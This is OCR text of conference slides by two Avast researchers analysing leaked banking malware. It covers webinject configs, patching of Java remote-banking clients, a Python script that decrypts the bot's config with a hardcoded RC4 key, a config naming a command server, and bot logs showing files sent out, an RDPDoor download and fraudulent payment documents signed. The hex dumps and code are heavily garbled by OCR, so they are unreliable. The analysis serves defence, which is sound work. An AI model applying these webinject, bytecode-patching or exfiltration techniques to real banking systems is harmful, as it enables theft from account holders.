2E078: 00 OO0 OO OO0 00 OO0 OO 00 | 2E078: 00 OO0 OO0 OO0 00 OO0 OO OO0 |

2E0S20: 00 00 OO0 OO0 00 00 OO 00 | 2E0S20: 00 00 OO0 00 00 00 OO0 00 |

2E088: 00 00 OO0 00 00 00 OO 00 | 2E088: 00 00 OO0 00 00 00 OO0 00 |

ZE090: 00 OO0 OO0 00 00 00 o0 oo | ZE090: 00 OO0 OO0 00 00 00 oo oo |

2E098: 00 00 OO0 OO0 45 53 54 EZ | ESTR 2E098: 00 OO0 OO0 00 73 72 77 &F | =yTro
ZEOAO: EF E0 41 E2 E3 EF 00 00 | _DPASES 2EOAD: 72 €2 &3 70 74 00 00 00 | rheopt
FE0AS: 41 42 43 44 45 45 47 48 | ABCDEFGH 2E0AS: 41 42 43 44 45 45 47 48 | ABCDEFGH
SEOEO: 49 44 4E 4C 40 4E 4F 50 | IJELMHOF SEOEO: 49 44 4F 4C 40 4E 4F 50 | IJELMHOP
ZE0ES: E1 52 53 54 E5 56 57 B2 | QESTUVINK ZE0ES: E1 52 53 54 E5 56 57 B2 | QRSTUVINK
2EOCO: E9 EA 61 62 63 €4 &5 66 | TZabodef 2EOCO: E9 EA 61 62 63 €4 65 66 | TZabodef
3E0CE: 67 68 &9 64 6B 6C &I 6E | ghijklmn 3E0CE: 67 68 69 G4 6B 6C &0 6E | ghijklmn
ZEODO: &F 70 71 72 73 74 75 76 | opgrstuw ZEODO: &F 70 71 72 73 74 75 76 | opgrstuw
2EODS: 77 78 79 A 30 31 2EZ 23 | wxyzOlE3 FEODS: 77 78 79 7A 30 31 3Z 23 | wxyzOlE:
ZE0ED: 24 35 36 27 28 39 2B 2F | 4L5&8729+/ ZE0ED: 24 35 36 27 28 29 2ZE 2F | 4L5&8729+/
2E0ES: 00 00 00 00 6C &6 &7 72 | ligr 2E0ES: 00 00 00 00 6C &6 &7 72 | ligr
ZEOF0: &6 44 44 36 00 00 OO0 00 | £J0& ZEO0F0: &6 44 44 36 00 00 00 00 | £J0&
ZEO0FS: 01 00 00 00 0 oo oo oo | ZEO0FS: 01 00 00 00 0 oo oo oo |
25100: 0z 00 OO0 OO0 04 00 OO0 00 | - 4 25100: 02 00 OO0 OO0 04 00 OO0 00 | - 4
2510&8: 10 00 OO0 00 &0 00 o0 o0 | + € 2510&8: 10 00 OO0 00 &0 00 o0 oo | + €
Z5110: £0 00 OO 00 40 00 OO 00 | @ ZE5110: £0 00 OO OO0 40 00 OO 00 | @
3E11%: EC =20 03 10 E4 30 o0z 10 | &oYaol 3E11%: EC =20 03 10 E4 30 03 10 | &oYaol
2E120: EF EF EE EZ 4C EF EF 48 | _ URL__H 3E1Z0: 64 7F 2B 7F &C cE 4 2B | dl+0ind+
3E5128: EE& 4E E4 45 Ez EF EF 4C | UHTER L 35lz8: &6C 6B 00 00 0O 00 00 00 | 1k
3E130: 4% 4E 4E 53 00 00 00 00 | THES Z5130: 00 OO0 OO0 OO0 00 00 oo oo |
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» Tool for webinjects (PoC):

i@ Config Builder
| Eite

EmBA &

’ e http:/facogle.com

anubcmwaetwhenpagelmﬁngbegina

Editor | Source code | Internet Explorer | Page HTML code |

Maslk list:
+ X O

Disable inject

ata before: I e
input value="T'm -~
1 r
Disable mask —
Inject list: Data myect. I
K not I s
B Injecto
4 3
Data after:
Feeling Ludky™ ~
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» Tool for webinjects (PoC):

@ Config Builder = |

g%\&

’ e http://google. com

Gububmrmwhenpageluaiﬂghegiﬂs

| Editor | Source code | Internet Explorer | Page HTML code |

Read only

get_url google,com GP

data_before
«<div dass="jshb" style="padding-top: 2px"> <center =
data_end

data_inject
<h1=I hid the button!!! </hi=
data_end

data_after
<input value="T'm
data_end

data_before
input value="Tm
data_end

data_inject

not
data_end

data_after
Feeling Ludky™
data_end

1
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EUROPE 2013 L A

»




» Tool for weblnjects (PoC):

’ Q http://google.com

[¥] Go to browsar when page loading begins
| Editor | Source code | Internet Explorer | Page HTML code |

Google

| hid the button!!!

I'm not Feeling Lucky

Advertising Business About New Pril—
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Modifying Java bytecode

Modifying Remote Banking Interfaces (RBI) in Java:
E.g. iBank2 - an advanced system for electronic banking
Creates uid.txt containing victim’s identifier (sign of infection)
Kills all processes blocking rt.jar or java.exe (browsers)
Downloads a configuration file rt.ini
Replaces original java.exe and javaw.exe with custom ones

Victim’s system is now ready to on-the-fly patching of Java
bytecode of RBI’s (javassist.jar)

-Xbootclasspath/p: rt_add.jar (overriding methods from rt.jar

and the original RBI); logging mouse events and actions

At least 4 customized malicious jar archives(-javaagent:):
Agent.jar, AgentPassive.jar, AgentKP.jar with rt_add.jar
AgentX.jar standalone
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» Modifying Remote Banking Interfaces (RBI) in Java
» rt.ini configuration file

»  Decrypted in 2 steps (INIFile.class)
» DES with a key obtained indirectly from hardcoded strings
» RC4 with a key “123%esr2#221Q@#"

from Crypto.Cipher import DES
from Crypto.Cipher import ARC4

key = chr(0x2c)+chr(0xc7)+chr(Bxa2)+chr(@x2a)+chr(0x6d)+chr(8xSb)+chr(@xdc )+chr(0xd)
cipher = DES.new(key, DES.MODE_ECB)

ciphertext = open( "rt.ini" , "rb" ).read()

data = cipher.decrypt(ciphertext)

array = re.findall( "..", data )

result = ""

for a in array:
if a != "ee":
: result += a

rcd = ARC4.new{“lZB%eer#ZZl@#"j
plaintext = rcd.decrypt( result[:-4].decede("hex") )
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[general]

Documents =1

Accounts =1
HideTimerDelay = 5000
CheckDocStatusTimer = true
[hide]

DocumentNumber = 63
Zaliv=0.0

Hide = false

Freeze = false
DocumentDate = 01.07.3000
Receiver = none

[account]

RealSaldo = 130

AccNum =0

OrigOutSaldo =0
RealDocDate = 01.01.1960

RSACONFERENCE
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[pre]

LastDocDate = 14.01.2011
Docs =2

DocO = 002

Docl = 350

NextDate = 14.01.2011
[servers]

servl = bifitibsystem.org
[net]

CheckDelay = 3000
SendDelay = 8000
[passive]

DocNum = 63

Amount = 1 200.00
Recipient =

Purpose = lasjbhl ljash Idjha Isdf
Account = ...
INN= ...

BIK = ...




Modifying Java bytecode — net log

Sending a file POST request >>> C: \ Documents and Settings\All Users\check.log <<< OK
checkFileExisting (): file [C:\\Documents and Settings\All Users\passive.dat] NOT EXIST
------------------------ AKToVNY REZhoM (ACTIVE MODE)

INFO: Debug running Ver: 1.9.2.6R

Status [new] GetSTATUS = new

INFO: Base URL = <TARGETED BANK>

|| Window JFrame Title: <TITLE OF RBI> || 2:48:23

checkFileExisting (): file [C: \Documents and Settings\user\Desktop\3\0404 ] EXIST
Sending a file POST request >>> C:\Documents and Settings\user\Desktop\3 \0404 <<< OK
INFO: iBank Version: 2.0.22; LANGUAGE = RUS

Team thread started; INFO: Automatic ;INFO: Agent is running

Start downloading ... <RDPDoor url>; Download complete.

|| Window JFrame Title: <TITLE OF RBI> || 2:49:32

WARNING: File client2015 orig.jar not yet loaded. We expect ...

Runs C:\Documents and Settings\All Users\20.4.2012_ 2.49.28.835.exe

File downloaded and saved <%All Users>\20.4.2012_ 2.49.28.835.exe

rdp already been requested and carried out
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Modifying Java bytecode — net log

Team thread started

Sending data on accounts

Populating a list of details

Status [balance grabbed]

ECP (4/9) = OW: <NAME> ID: <ID> TP: <MSG> ST: <STATUS> Total = 1 ||
= Sender "<STRING>" ||

INN = <INN NUMBER> ||

Account number = <ACCOUNT NUMBER> | |

BIK = <BIK NUMBER> ||

Document [ XXX ] successfully created and saved

In working table AZ document was found - (N: XXX {Status: New [0 ]})

In the config added key signature

Document [ XXX ] successfully signed

Status [done]

Sending LOGLOC

Sending a file POST request >>> C:\Documents and Settings\All Users\rt2.log
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Conclusion

What we have seen

“Leaking the source code was not like the leaking of a
weapon, but more like the leaking of a tank factory,” (an
Ukrainian tech blogger )

Gangs of cybercriminals arrested but active instances of bot
found recently in the wild (October 2013, C&C ssb-
consult.com, tens of unique daily hits)

The first malicious code found in the wild based on the leak
[Matrosov A., ESET: “The Powerloader 64-bit update based
on leaked exploits”] = indirect consequence of the leak

Could mentioned Remote Banking Interfaces react to avoid
existing attacks? Fortunately yes, they have been updated.
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» What we can expect

» Direct consequences
» Core functionality could be sufficient

» Updates of specific attacks against RBIs reflecting their changes

» Additional levels of encryption added (config file, character
strings, comm. protocol etc.) - analysis hardened

> like the ZeuS case = Citadel, Ice IX, GameOver, KINS
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Thank youl!

Peter Kalnai

AVAST Software

@pkalnai
kalnai@avast.com

http://blog.avast.com/author/kalnai
Jaromir Horejsi
AVAST Software

@JaromirHorejsi

horejsi@avast.com
http://blog.avast.com/author/jaromir.horejsi
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